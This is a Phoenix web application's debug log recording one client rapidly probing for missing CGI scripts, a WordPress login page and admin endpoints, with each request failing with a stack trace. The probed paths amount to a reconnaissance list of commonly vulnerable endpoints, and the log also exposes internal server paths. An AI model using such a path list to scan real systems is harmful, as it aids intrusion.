[Thu Sep  3 08:41:34.789000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33928] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin-sdb/printenv (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:35.380000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33938] GET /cgi-mod/index.cgi
[Thu Sep  3 08:41:35.400000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33938] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-mod/index.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:36.013000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33950] GET /cgi-sys/defaultwebpage.cgi
[Thu Sep  3 08:41:36.026000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33950] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-sys/defaultwebpage.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:36.785000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33958] GET /cgi-sys/entropysearch.cgi
[Thu Sep  3 08:41:36.822000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33958] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-sys/entropysearch.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:37.459000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33964] GET /index.cgi
[Thu Sep  3 08:41:37.473000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33964] ** (Phoenix.Router.NoRouteError) no route found for GET /index.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:38.079000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33974] GET /index.pl
[Thu Sep  3 08:41:38.095000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33974] ** (Phoenix.Router.NoRouteError) no route found for GET /index.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:38.702000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33986] GET /index.sh
[Thu Sep  3 08:41:38.732000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33986] ** (Phoenix.Router.NoRouteError) no route found for GET /index.sh (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:40.431000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33990] GET /nph-mr.cgi
[Thu Sep  3 08:41:40.458000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33990] ** (Phoenix.Router.NoRouteError) no route found for GET /nph-mr.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:41.056000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33994] GET /query.cgi
[Thu Sep  3 08:41:41.077000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33994] ** (Phoenix.Router.NoRouteError) no route found for GET /query.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:41.687000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34004] GET /session_login.cgi
[Thu Sep  3 08:41:41.712000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34004] ** (Phoenix.Router.NoRouteError) no route found for GET /session_login.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:42.362000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34014] GET /show_bug.cgi
[Thu Sep  3 08:41:42.389000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34014] ** (Phoenix.Router.NoRouteError) no route found for GET /show_bug.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:43.041000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34016] GET /test
[Thu Sep  3 08:41:43.079000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34016] ** (Phoenix.Router.NoRouteError) no route found for GET /test (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:43.720000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36830] GET /test.cgi
[Thu Sep  3 08:41:43.735000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:36830] ** (Phoenix.Router.NoRouteError) no route found for GET /test.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:44.752000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36836] GET /ucsm/isSamInstalled.cgi
[Thu Sep  3 08:41:44.778000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:36836] ** (Phoenix.Router.NoRouteError) no route found for GET /ucsm/isSamInstalled.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:46.441000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36848] GET /whois.cgi
[Thu Sep  3 08:41:46.457000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:36848] ** (Phoenix.Router.NoRouteError) no route found for GET /whois.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:47.137000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36862] GET /wp-login.php
[Thu Sep  3 08:41:47.166000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:36862] ** (Phoenix.Router.NoRouteError) no route found for GET /wp-login.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:47.846000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36878] GET /wwwadmin.cgi
[Thu Sep  3 08:41:47.878000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:36878] ** (Phoenix.Router.NoRouteError) no route found for GET /wwwadmin.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
